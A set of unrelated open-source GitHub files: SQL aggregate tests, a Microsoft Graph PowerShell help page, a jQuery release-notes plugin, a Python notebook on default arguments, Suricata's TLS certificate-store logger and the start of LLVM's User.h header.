SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 TINYINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 SMALLINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 MEDIUMINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INTEGER NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 BIGINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT COUNT(c1) AS value FROM t2; SELECT COUNT(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT COUNT(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT COUNT(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT COUNT(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2;
{ "pile_set_name": "Github" }
--- external help file: Module Name: Microsoft.Graph.Users.Functions online version: https://docs.microsoft.com/en-us/powershell/module/microsoft.graph.users.functions/get-mgusermanagedappregistrationuserid schema: 2.0.0 --- # Get-MgUserManagedAppRegistrationUserId ## SYNOPSIS Invoke function getUserIdsWithFlaggedAppRegistration ## SYNTAX ### Get (Default) ``` Get-MgUserManagedAppRegistrationUserId -UserId <String> [<CommonParameters>] ``` ### GetViaIdentity ``` Get-MgUserManagedAppRegistrationUserId -InputObject <IUsersFunctionsIdentity> [<CommonParameters>] ``` ## DESCRIPTION Invoke function getUserIdsWithFlaggedAppRegistration ## EXAMPLES ### Example 1: {{ Add title here }} ```powershell PS C:\> {{ Add code here }} {{ Add output here }} ``` {{ Add description here }} ### Example 2: {{ Add title here }} ```powershell PS C:\> {{ Add code here }} {{ Add output here }} ``` {{ Add description here }} ## PARAMETERS ### -InputObject Identity Parameter To construct, see NOTES section for INPUTOBJECT properties and create a hash table. ```yaml Type: Microsoft.Graph.PowerShell.Models.IUsersFunctionsIdentity Parameter Sets: GetViaIdentity Aliases: Required: True Position: Named Default value: None Accept pipeline input: True (ByValue) Accept wildcard characters: False ``` ### -UserId key: id of user ```yaml Type: System.String Parameter Sets: Get Aliases: Required: True Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False ``` ### CommonParameters This cmdlet supports the common parameters: -Debug, -ErrorAction, -ErrorVariable, -InformationAction, -InformationVariable, -OutVariable, -OutBuffer, -PipelineVariable, -Verbose, -WarningAction, and -WarningVariable. For more information, see [about_CommonParameters](http://go.microsoft.com/fwlink/?LinkID=113216). ## INPUTS ### Microsoft.Graph.PowerShell.Models.IUsersFunctionsIdentity ## OUTPUTS ### System.String ## NOTES ALIASES COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. INPUTOBJECT <IUsersFunctionsIdentity>: Identity Parameter - `[CalendarId <String>]`: key: id of calendar - `[ContactFolderId <String>]`: key: id of contactFolder - `[EndDateTime <String>]`: - `[EventId <String>]`: key: id of event - `[IncludePersonalNotebooks <Boolean?>]`: - `[MailFolderId <String>]`: key: id of mailFolder - `[ManagedDeviceId <String>]`: key: id of managedDevice - `[OnenotePageId <String>]`: key: id of onenotePage - `[RoomList <String>]`: - `[Skip <Int32?>]`: - `[StartDateTime <String>]`: - `[TimeZoneStandard <String>]`: - `[Top <Int32?>]`: - `[User <String>]`: - `[UserId <String>]`: key: id of user ## RELATED LINKS
{ "pile_set_name": "Github" }
/* * Copyright, Cedric Dugas, * Do not sell or redistribute */ (function($) { // mardown parser options, do not touch marked.setOptions({ gfm: true, pedantic: false, sanitize: true }); // Default setting var defaultSettings = { milestonesShown : 10, // If you want to show private repo // You need to add repo credentials in api.php phpApi : false, phpApiPath : '/', showDescription : true, showComments : true, // Used if phpApi is set to false repo : 'rails', username : 'rails' }; $.fn.releaseNotes = function(settings){ settings = $.extend({}, defaultSettings, settings || {}); var apiPath = settings.phpApiPath+"api.php"; var respType = (settings.phpApi) ? "json" : "jsonp"; var releases = { load: function(el){ var _this = this; this.$el = $(el); this.loadEvents(); var options = $.extend(settings, { state: "closed", action: "milestones", sort:"due_date" }); this.callApi(options).success(function(resp){ if(resp.data) resp= resp.data; _this.showMilestones(resp); }).error(function(resp){ console.log(resp) }); }, loadEvents : function(){ var _this = this; if(settings.showDescription) this.$el.delegate(".issue", "click", function(){ _this.loadIssueDesc(this); return false;}); if(settings.showComments) this.$el.delegate(".btnComments", "click", function(){ _this.loadComments(this); return false;}); }, loadIssueDesc : function(el){ var $issue = $(el); var data = $issue.data("issue"); $bigIssue = $issue.find(".issueBig"); if(!$bigIssue.is(":visible")){ $(".issueBig").not($bigIssue).slideUp(); $bigIssue.find(".container").html(components.bigIssue(data, settings.showComments)); $bigIssue.slideDown(); }else{ $bigIssue.slideUp(); } }, showMilestones : function(milestones){ var _this = this; milestones.sort(this.sortDate); $.each(milestones, function(i, milestone){ if(i == settings.milestonesShown) return false; milestone.prettyDate = (milestone.due_on) ? _this.getPrettyDate(milestone.due_on) : _this.getPrettyDate(milestone.created_at); _this.$el.append(components.milestone(milestone)); var options = $.extend(settings, { milestone: milestone.number, sort:"created", action:"issues", state:"closed" }); _this.callApi(options).success(function(resp, textStatus, jqXHR){ if(resp.data) resp= resp.data; _this.showIssues(resp); }); }); }, loadComments : function(el){ var _this =this; var issueid =$(el).attr("data-issue-id"); $(el).fadeOut().slideUp(); var options = $.extend(settings, { id:issueid, action:"comments" }); this.callApi(options).success(function(resp, textStatus, jqXHR){ if(resp.data) resp= resp.data; _this.showComments(resp, issueid); }); }, showComments : function(comments,issueid){ var _this = this; var $commentContainer = _this.$el.find("#issue"+issueid).find(".comments").empty(); $.each(comments, function(i, comment){ comment.prettyDate = _this.getPrettyDate(comment.created_at); $commentContainer.append(components.comment(comment, issueid)); }); $commentContainer.slideDown(); }, showIssues : function(issues){ var _this = this; var jqMilestone = _this.$el.find("[data-id-milestone="+issues[0].milestone.number+"]"); var jqMilestoneIssues = jqMilestone.find(".issues"); issues.sort(this.sortLabel); $.each(issues, function(i, issue){ issue.prettyDate = _this.getPrettyDate(issue.closed_at); jqMilestoneIssues.append(components.issue(issue)); }); jqMilestone.addClass("separator"); if(settings.showDescription) jqMilestone.find(".issue").addClass("cursor"); }, getPrettyDate : function(date){ var dateFormat = ""; if(!date) return ""; var date = date.split("T"); var dateArray = date[0].split("-"); var dateObj = new Date(dateArray[0],(dateArray[1]-1),dateArray[2]); var weekday=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday", "Friday","Saturday"); var monthname=new Array("January","February","March","April","May","June","July","August", "September","October","November","December"); dateFormat += weekday[dateObj.getDay()] + ", "; dateFormat += monthname[dateObj.getMonth()] + " "; dateFormat += dateObj.getDate() + ", "; dateFormat += dateObj.getFullYear(); return dateFormat; }, sortDate : function (milestone1, milestone2) { milestone1.dateTest = (milestone1.due_on) ? milestone1.due_on : milestone1.created_at; milestone2.dateTest = (milestone2.due_on) ? milestone2.due_on : milestone2.created_at; var date1 = new Date(milestone1.dateTest ); var date2 = new Date(milestone2.dateTest ); if (date1 < date2) return 1; if (date1 > date2) return -1; return 0; }, sortLabel :function(thisObject,thatObject) { if(!thisObject.labels.length) return 1; if(!thatObject.labels.length) return -1; if (thisObject.labels[0].name > thatObject.labels[0].name){ return 1; } else if (thisObject.labels[0].name < thatObject.labels[0].name){ return -1; } return 0; }, callApi: function(options){ var myoption = $.extend({}, options); var url = this.urls[options.action](options); if(myoption.repo) delete myoption.repo; if(myoption.username) delete myoption.username; if(myoption.id) delete myoption.id; if(myoption.action) delete myoption.action; return $.ajax({ url:this.urls[options.action](options), dataType:respType, data:myoption }); }, urls : { domainName : "https://api.github.com", milestones : function(){ if(!settings.phpApi){ return $url = this.domainName+ "/repos/"+settings.username +"/"+ settings.repo +"/milestones"; }else{ return apiPath; }; }, issues : function(){ if(!settings.phpApi){ return $url = this.domainName+"/repos/"+ settings.username +"/"+ settings.repo +"/issues"; }else{ return apiPath; }; }, comments : function(options){ if(!settings.phpApi){ return $url = this.domainName+"/repos/"+ settings.username +"/"+ settings.repo+"/issues/"+ options.id +"/comments"; }else{ return apiPath; } } } }; return this.each(function(){ releases.load(this, settings); }); }; var components = { milestone : function(data){ return $('<div data-id-milestone="'+data.number+'" class="milestoneContainer"> \ <h3 class="release">'+data.title+'</h3>\ <p class="dateRelease">Release Date: '+data.prettyDate+'</p>\ <div class="issues"></div>\ </div>').data("milestone", data); }, issue : function(data){ var labels = "", _this = this; $.each(data.labels, function(i, label){ labels += _this.label(label); }); return $('<div id="issue'+data.number+'" class="issue" >\ <div class="issueSmall">\ <div class="issueTitle">'+labels+' '+$("<span>").html(data.title).text()+' </div>\ </div>\ <div style="display:none;" class="issueBig">\ <div class="container"></div>\ <div style="display:none;" class="comments"></div>\ </div>').data("issue", data); }, label : function(data){ return '<span style="background-color:#'+data.color+';" class="label">'+data.name+'</span>'; }, bigIssue : function(data, showComment){ var commentLink = (data.comments != 0 && showComment) ? '<a data-issue-id="'+data.number+'" href="#" class="btnComments btn">See Comments</a>' : ""; return $('<div class="avatar-bubble js-comment-container">\ <span class="avatar"><img height="48" src="'+data.user.avatar_url+'" width="48"></span>\ <div class="bubble">\ <div class="comment starting-comment adminable" id="issue-3542089">\ <div class="body">\ <p class="author">Opened by <a href="'+data.user.url+'">'+data.user.login+'</a>, issue closed on '+data.prettyDate+'</p>\ <h2 class="content-title"> '+$("<span>").html(data.title).text()+'</h2>\ <div class="formatted-content"> \ <div class="content-body markdown-body markdown-format">\ '+marked(data.body)+'\ </div>\ </div>\ </div>\ </div>\ </div>\ </div>'+commentLink).data("issue", data); }, comment : function(data){ return '<div class="avatar-bubble js-comment-container">\ <span class="avatar"><img height="48" src="'+data.user.avatar_url+'" width="48"></span>\ <div class="bubble">\ <div id="issuecomment-4369977" class="comment normal-comment adminable">\ <div class="cmeta">\ <p class="author">\ <span class="icon"></span>\ <strong class="author"><a href="'+data.user.url+'">'+data.user.login+'</a></strong>\ <em class="action-text">\ commented\ </em>\ </p>\ <p class="info">\ <em class="date"><time class="js-relative-date">'+data.prettyDate+'</time></em>\ </p>\ </div>\ <div class="body">\ <div class="formatted-content">\ <div class="content-body markdown-body markdown-format">'+marked(data.body)+'</div>\ </div>\ </div>\ </div>\ </div>\ </div>'; } } })(jQuery);
{ "pile_set_name": "Github" }
{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Copyright 2014 Brett Slatkin, Pearson Education Inc.\n", "#\n", "# Licensed under the Apache License, Version 2.0 (the \"License\");\n", "# you may not use this file except in compliance with the License.\n", "# You may obtain a copy of the License at\n", "#\n", "# http://www.apache.org/licenses/LICENSE-2.0\n", "#\n", "# Unless required by applicable law or agreed to in writing, software\n", "# distributed under the License is distributed on an \"AS IS\" BASIS,\n", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n", "# See the License for the specific language governing permissions and\n", "# limitations under the License.\n", "\n", "# Preamble to mimick book environment\n", "import logging\n", "from pprint import pprint\n", "from sys import stdout as STDOUT" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2016-05-05 20:33:45.066477: Hi there!\n", "2016-05-05 20:33:45.066477: Hi again!\n" ] } ], "source": [ "# Example 1\n", "from time import sleep\n", "from datetime import datetime\n", "\n", "def log(message, when=datetime.now()):\n", " print('%s: %s' % (when, message))\n", "\n", "log('Hi there!')\n", "sleep(0.1)\n", "log('Hi again!')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Write docstring for all func!" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Example 2\n", "def log(message, when=None):\n", " \"\"\"Log a message with a timestamp.\n", "\n", " Args:\n", " message: Message to print.\n", " when: datetime of when the message occurred.\n", " Defaults to the present time.\n", " \"\"\"\n", " when = datetime.now() if when is None else when\n", " print('%s: %s' % (when, message))" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2016-05-05 20:33:45.183324: Hi there!\n", "2016-05-05 20:33:45.285816: Hi again!\n" ] } ], "source": [ "# Example 3\n", "log('Hi there!')\n", "sleep(0.1)\n", "log('Hi again!')" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Example 4\n", "import json\n", "\n", "def decode(data, default={}):\n", " try:\n", " return json.loads(data)\n", " except ValueError:\n", " return default" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Foo: {'stuff': 5, 'meep': 1}\n", "Bar: {'stuff': 5, 'meep': 1}\n" ] } ], "source": [ "# Example 5\n", "foo = decode('bad data')\n", "foo['stuff'] = 5\n", "bar = decode('also bad')\n", "bar['meep'] = 1\n", "print('Foo:', foo)\n", "print('Bar:', bar)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Example 6\n", "assert foo is bar" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Example 7\n", "def decode(data, default=None):\n", " \"\"\"Load JSON data from a string.\n", "\n", " Args:\n", " data: JSON data to decode.\n", " default: Value to return if decoding fails.\n", " Defaults to an empty dictionary.\n", " \"\"\"\n", " if default is None:\n", " default = {}\n", " try:\n", " return json.loads(data)\n", " except ValueError:\n", " return default" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Foo: {'stuff': 5}\n", "Bar: {'meep': 1}\n" ] } ], "source": [ "# Example 8\n", "foo = decode('bad data')\n", "foo['stuff'] = 5\n", "bar = decode('also bad')\n", "bar['meep'] = 1\n", "print('Foo:', foo)\n", "print('Bar:', bar)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }
{ "pile_set_name": "Github" }
/* Copyright (C) 2014 Open Information Security Foundation * * You can copy, redistribute or modify this Program under the terms of * the GNU General Public License version 2 as published by the Free * Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * version 2 along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301, USA. */ /** * \file * * \author Roliers Jean-Paul <[email protected]> * \author Eric Leblond <[email protected]> * \author Victor Julien <[email protected]> * * Implements TLS store portion of the engine. * */ #include "suricata-common.h" #include "debug.h" #include "detect.h" #include "pkt-var.h" #include "conf.h" #include "threads.h" #include "threadvars.h" #include "tm-threads.h" #include "util-print.h" #include "util-unittest.h" #include "util-debug.h" #include "output.h" #include "log-tlslog.h" #include "log-tlsstore.h" #include "app-layer-ssl.h" #include "app-layer.h" #include "app-layer-parser.h" #include "util-privs.h" #include "util-buffer.h" #include "util-logopenfile.h" #include "util-crypt.h" #include "util-time.h" #define MODULE_NAME "LogTlsStoreLog" static char tls_logfile_base_dir[PATH_MAX] = "/tmp"; SC_ATOMIC_DECLARE(unsigned int, cert_id); static char logging_dir_not_writable; #define LOGGING_WRITE_ISSUE_LIMIT 6 typedef struct LogTlsStoreLogThread_ { uint32_t tls_cnt; uint8_t* enc_buf; size_t enc_buf_len; } LogTlsStoreLogThread; static int CreateFileName(const Packet *p, SSLState *state, char *filename, size_t filename_size) { char path[PATH_MAX]; int file_id = SC_ATOMIC_ADD(cert_id, 1); /* Use format : packet time + incremental ID * When running on same pcap it will overwrite * On a live device, we will not be able to overwrite */ if (snprintf(path, sizeof(path), "%s/%ld.%ld-%d.pem", tls_logfile_base_dir, (long int)p->ts.tv_sec, (long int)p->ts.tv_usec, file_id) == sizeof(path)) return 0; strlcpy(filename, path, filename_size); return 1; } static void LogTlsLogPem(LogTlsStoreLogThread *aft, const Packet *p, SSLState *state, int ipproto) { #define PEMHEADER "-----BEGIN CERTIFICATE-----\n" #define PEMFOOTER "-----END CERTIFICATE-----\n" //Logging pem certificate char filename[PATH_MAX] = ""; FILE* fp = NULL; FILE* fpmeta = NULL; unsigned long pemlen; unsigned char* pembase64ptr = NULL; int ret; uint8_t *ptmp; SSLCertsChain *cert; if (TAILQ_EMPTY(&state->server_connp.certs)) SCReturn; CreateFileName(p, state, filename, sizeof(filename)); if (strlen(filename) == 0) { SCLogWarning(SC_ERR_FOPEN, "Can't create PEM filename"); SCReturn; } fp = fopen(filename, "w"); if (fp == NULL) { if (logging_dir_not_writable < LOGGING_WRITE_ISSUE_LIMIT) { SCLogWarning(SC_ERR_FOPEN, "Can't create PEM file '%s' in '%s' directory", filename, tls_logfile_base_dir); logging_dir_not_writable++; } SCReturn; } TAILQ_FOREACH(cert, &state->server_connp.certs, next) { pemlen = (4 * (cert->cert_len + 2) / 3) +1; if (pemlen > aft->enc_buf_len) { ptmp = (uint8_t*) SCRealloc(aft->enc_buf, sizeof(uint8_t) * pemlen); if (ptmp == NULL) { SCFree(aft->enc_buf); aft->enc_buf = NULL; aft->enc_buf_len = 0; SCLogWarning(SC_ERR_MEM_ALLOC, "Can't allocate data for base64 encoding"); goto end_fp; } aft->enc_buf = ptmp; aft->enc_buf_len = pemlen; } memset(aft->enc_buf, 0, aft->enc_buf_len); ret = Base64Encode((unsigned char*) cert->cert_data, cert->cert_len, aft->enc_buf, &pemlen); if (ret != SC_BASE64_OK) { SCLogWarning(SC_ERR_INVALID_ARGUMENTS, "Invalid return of Base64Encode function"); goto end_fwrite_fp; } if (fprintf(fp, PEMHEADER) < 0) goto end_fwrite_fp; pembase64ptr = aft->enc_buf; while (pemlen > 0) { size_t loffset = pemlen >= 64 ? 64 : pemlen; if (fwrite(pembase64ptr, 1, loffset, fp) != loffset) goto end_fwrite_fp; if (fwrite("\n", 1, 1, fp) != 1) goto end_fwrite_fp; pembase64ptr += 64; if (pemlen < 64) break; pemlen -= 64; } if (fprintf(fp, PEMFOOTER) < 0) goto end_fwrite_fp; } fclose(fp); //Logging certificate informations memcpy(filename + (strlen(filename) - 3), "meta", 4); fpmeta = fopen(filename, "w"); if (fpmeta != NULL) { #define PRINT_BUF_LEN 46 char srcip[PRINT_BUF_LEN], dstip[PRINT_BUF_LEN]; char timebuf[64]; Port sp, dp; CreateTimeString(&p->ts, timebuf, sizeof(timebuf)); if (!TLSGetIPInformations(p, srcip, PRINT_BUF_LEN, &sp, dstip, PRINT_BUF_LEN, &dp, ipproto)) goto end_fwrite_fpmeta; if (fprintf(fpmeta, "TIME: %s\n", timebuf) < 0) goto end_fwrite_fpmeta; if (p->pcap_cnt > 0) { if (fprintf(fpmeta, "PCAP PKT NUM: %"PRIu64"\n", p->pcap_cnt) < 0) goto end_fwrite_fpmeta; } if (fprintf(fpmeta, "SRC IP: %s\n", srcip) < 0) goto end_fwrite_fpmeta; if (fprintf(fpmeta, "DST IP: %s\n", dstip) < 0) goto end_fwrite_fpmeta; if (fprintf(fpmeta, "PROTO: %" PRIu32 "\n", p->proto) < 0) goto end_fwrite_fpmeta; if (PKT_IS_TCP(p) || PKT_IS_UDP(p)) { if (fprintf(fpmeta, "SRC PORT: %" PRIu16 "\n", sp) < 0) goto end_fwrite_fpmeta; if (fprintf(fpmeta, "DST PORT: %" PRIu16 "\n", dp) < 0) goto end_fwrite_fpmeta; } if (fprintf(fpmeta, "TLS SUBJECT: %s\n" "TLS ISSUERDN: %s\n" "TLS FINGERPRINT: %s\n", state->server_connp.cert0_subject, state->server_connp.cert0_issuerdn, state->server_connp.cert0_fingerprint) < 0) goto end_fwrite_fpmeta; fclose(fpmeta); } else { if (logging_dir_not_writable < LOGGING_WRITE_ISSUE_LIMIT) { SCLogWarning(SC_ERR_FOPEN, "Can't create meta file '%s' in '%s' directory", filename, tls_logfile_base_dir); logging_dir_not_writable++; } SCReturn; } /* Reset the store flag */ state->server_connp.cert_log_flag &= ~SSL_TLS_LOG_PEM; SCReturn; end_fwrite_fp: fclose(fp); if (logging_dir_not_writable < LOGGING_WRITE_ISSUE_LIMIT) { SCLogWarning(SC_ERR_FWRITE, "Unable to write certificate"); logging_dir_not_writable++; } end_fwrite_fpmeta: if (fpmeta) { fclose(fpmeta); if (logging_dir_not_writable < LOGGING_WRITE_ISSUE_LIMIT) { SCLogWarning(SC_ERR_FWRITE, "Unable to write certificate metafile"); logging_dir_not_writable++; } } SCReturn; end_fp: fclose(fp); SCReturn; } /** \internal * \brief Condition function for TLS logger * \retval bool true or false -- log now? */ static int LogTlsStoreCondition(ThreadVars *tv, const Packet *p, void *state, void *tx, uint64_t tx_id) { if (p->flow == NULL) { return FALSE; } if (!(PKT_IS_TCP(p))) { return FALSE; } SSLState *ssl_state = (SSLState *)state; if (ssl_state == NULL) { SCLogDebug("no tls state, so no request logging"); goto dontlog; } if ((ssl_state->server_connp.cert_log_flag & SSL_TLS_LOG_PEM) == 0) goto dontlog; if (ssl_state->server_connp.cert0_issuerdn == NULL || ssl_state->server_connp.cert0_subject == NULL) goto dontlog; return TRUE; dontlog: return FALSE; } static int LogTlsStoreLogger(ThreadVars *tv, void *thread_data, const Packet *p, Flow *f, void *state, void *tx, uint64_t tx_id) { LogTlsStoreLogThread *aft = (LogTlsStoreLogThread *)thread_data; int ipproto = (PKT_IS_IPV4(p)) ? AF_INET : AF_INET6; SSLState *ssl_state = (SSLState *)state; if (unlikely(ssl_state == NULL)) { return 0; } if (ssl_state->server_connp.cert_log_flag & SSL_TLS_LOG_PEM) { LogTlsLogPem(aft, p, ssl_state, ipproto); } return 0; } static TmEcode LogTlsStoreLogThreadInit(ThreadVars *t, const void *initdata, void **data) { LogTlsStoreLogThread *aft = SCMalloc(sizeof(LogTlsStoreLogThread)); if (unlikely(aft == NULL)) return TM_ECODE_FAILED; memset(aft, 0, sizeof(LogTlsStoreLogThread)); if (initdata == NULL) { SCLogDebug("Error getting context for LogTLSStore. \"initdata\" argument NULL"); SCFree(aft); return TM_ECODE_FAILED; } struct stat stat_buf; /* coverity[toctou] */ if (stat(tls_logfile_base_dir, &stat_buf) != 0) { int ret; /* coverity[toctou] */ ret = SCMkDir(tls_logfile_base_dir, S_IRWXU|S_IXGRP|S_IRGRP); if (ret != 0) { int err = errno; if (err != EEXIST) { SCLogError(SC_ERR_LOGDIR_CONFIG, "Cannot create certs drop directory %s: %s", tls_logfile_base_dir, strerror(err)); exit(EXIT_FAILURE); } } else { SCLogInfo("Created certs drop directory %s", tls_logfile_base_dir); } } *data = (void *)aft; return TM_ECODE_OK; } static TmEcode LogTlsStoreLogThreadDeinit(ThreadVars *t, void *data) { LogTlsStoreLogThread *aft = (LogTlsStoreLogThread *)data; if (aft == NULL) { return TM_ECODE_OK; } if (aft->enc_buf != NULL) SCFree(aft->enc_buf); /* clear memory */ memset(aft, 0, sizeof(LogTlsStoreLogThread)); SCFree(aft); return TM_ECODE_OK; } static void LogTlsStoreLogExitPrintStats(ThreadVars *tv, void *data) { LogTlsStoreLogThread *aft = (LogTlsStoreLogThread *)data; if (aft == NULL) { return; } SCLogInfo("(%s) certificates extracted %" PRIu32 "", tv->name, aft->tls_cnt); } /** * \internal * * \brief deinit the log ctx and write out the waldo * * \param output_ctx output context to deinit */ static void LogTlsStoreLogDeInitCtx(OutputCtx *output_ctx) { SCFree(output_ctx); } /** \brief Create a new http log LogFilestoreCtx. * \param conf Pointer to ConfNode containing this loggers configuration. * \return NULL if failure, LogFilestoreCtx* to the file_ctx if succesful * */ static OutputInitResult LogTlsStoreLogInitCtx(ConfNode *conf) { OutputInitResult result = { NULL, false }; OutputCtx *output_ctx = SCCalloc(1, sizeof(OutputCtx)); if (unlikely(output_ctx == NULL)) return result; output_ctx->data = NULL; output_ctx->DeInit = LogTlsStoreLogDeInitCtx; /* FIXME we need to implement backward compability here */ const char *s_default_log_dir = NULL; s_default_log_dir = ConfigGetLogDirectory(); const char *s_base_dir = NULL; s_base_dir = ConfNodeLookupChildValue(conf, "certs-log-dir"); if (s_base_dir == NULL || strlen(s_base_dir) == 0) { strlcpy(tls_logfile_base_dir, s_default_log_dir, sizeof(tls_logfile_base_dir)); } else { if (PathIsAbsolute(s_base_dir)) { strlcpy(tls_logfile_base_dir, s_base_dir, sizeof(tls_logfile_base_dir)); } else { snprintf(tls_logfile_base_dir, sizeof(tls_logfile_base_dir), "%s/%s", s_default_log_dir, s_base_dir); } } SCLogInfo("storing certs in %s", tls_logfile_base_dir); /* enable the logger for the app layer */ AppLayerParserRegisterLogger(IPPROTO_TCP, ALPROTO_TLS); result.ctx = output_ctx; result.ok = true; SCReturnCT(result, "OutputInitResult"); } void LogTlsStoreRegister (void) { OutputRegisterTxModuleWithCondition(LOGGER_TLS_STORE, MODULE_NAME, "tls-store", LogTlsStoreLogInitCtx, ALPROTO_TLS, LogTlsStoreLogger, LogTlsStoreCondition, LogTlsStoreLogThreadInit, LogTlsStoreLogThreadDeinit, LogTlsStoreLogExitPrintStats); SC_ATOMIC_INIT(cert_id); SC_ATOMIC_SET(cert_id, 1); SCLogDebug("registered"); }
{ "pile_set_name": "Github" }
//===- llvm/User.h - User class definition ----------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This class defines the interface that one who uses a Value must implement. // Each instance of the Value class keeps track of what User's have handles // to it. // // * Instructions are the largest class of Users. // * Constants may be users of other constants (think arrays and stuff) // //===----------------------------------------------------------------------===// #ifndef LLVM_IR_USER_H #define LLVM_IR_USER_H #include "llvm/ADT/iterator.h" #include "llvm/ADT/iterator_range.h" #include "llvm/IR/Use.h" #include "llvm/IR/Value.h" #include "llvm/Support/Casting.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/ErrorHandling.h" #include <cassert> #include <cstddef> #include <cstdint> #include <iterator> namespace llvm { template <typename T> class ArrayRef; template <typename T> class MutableArrayRef; /// Compile-time customization of User operands. /// /// Customizes operand-related allocators and accessors. template <class> struct OperandTraits; class User : public Value { template <unsigned> friend struct HungoffOperandTraits; LLVM_ATTRIBUTE_ALWAYS_INLINE inline static void * allocateFixedOperandUser(size_t, unsigned, unsigned); protected: /// 